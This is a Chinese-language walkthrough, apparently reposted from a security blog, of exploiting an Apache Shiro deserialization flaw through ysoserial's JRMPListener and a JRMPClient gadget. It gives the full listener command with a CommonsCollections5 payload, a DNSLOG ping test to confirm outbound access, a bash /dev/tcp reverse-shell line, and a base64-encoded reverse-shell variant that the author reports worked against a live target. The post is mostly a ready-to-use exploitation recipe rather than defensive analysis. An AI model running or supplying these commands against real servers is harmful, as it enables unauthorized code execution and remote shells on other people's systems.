天天看点

shiro反序列漏洞中之JRMPClient的利用

作者:区块软件开发

前言

最近在测试中遇到一些shiro反序列化不能利用的情况 找到key 无法找到利用链,但是发现存在JRMPClient可用的情况

shiro反序列漏洞中之JRMPClient的利用

换一种工具尝试

shiro反序列漏洞中之JRMPClient的利用

发现 JRMPClient 可用, 尝试使用 JRMPClient 进行测试,最终这个目标也没有执行成功所以换了一个目标进行的尝试,仅记录JRMPClient 利用方式。

使用JRMPClient模块进行测试

找到一个同样存在shiro反序列的目标。

shiro反序列漏洞中之JRMPClient的利用

同样find: JRMPClient can be use。

搭建JRMPClient 监听服务

首先需要搭建 JRMPClient 使用ysoserial.jar 工具搭建服务,下载地址:https://github.com/frohoff/ysoserial

使用DNSLOG进行检测

在不确定目标是否通外网的情况下 先使用DNSLOG进行检测 获取一个新的域名 :w3dh1h.dnslog.cn

shiro反序列漏洞中之JRMPClient的利用

VPS上开启JRMPListener

在VPS上搭建服务命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "ping w3dh1h.dnslog.cn"

shiro反序列漏洞中之JRMPClient的利用

shiro反序列利用工具中选择JRMPClient,然后输入VPS上搭建服务的地址:

shiro反序列漏洞中之JRMPClient的利用

JRMPListener 收到返回信息

shiro反序列漏洞中之JRMPClient的利用

DNSLOG上收到目标的ping 命令信息 说明目标服务器通外网

shiro反序列漏洞中之JRMPClient的利用

执行反弹命令

执行反弹命令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1

shiro反序列漏洞中之JRMPClient的利用

没有收到反弹链接

shiro反序列漏洞中之JRMPClient的利用

将命令进行base64编码 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eHgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

shiro反序列漏洞中之JRMPClient的利用

成功收到反弹链接

shiro反序列漏洞中之JRMPClient的利用
from https://www.secpulse.com/archives/192266.html

继续阅读